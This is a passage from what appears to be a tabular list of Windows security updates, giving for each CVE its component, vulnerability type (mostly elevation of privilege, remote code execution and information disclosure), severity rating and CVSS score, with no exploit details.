Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege 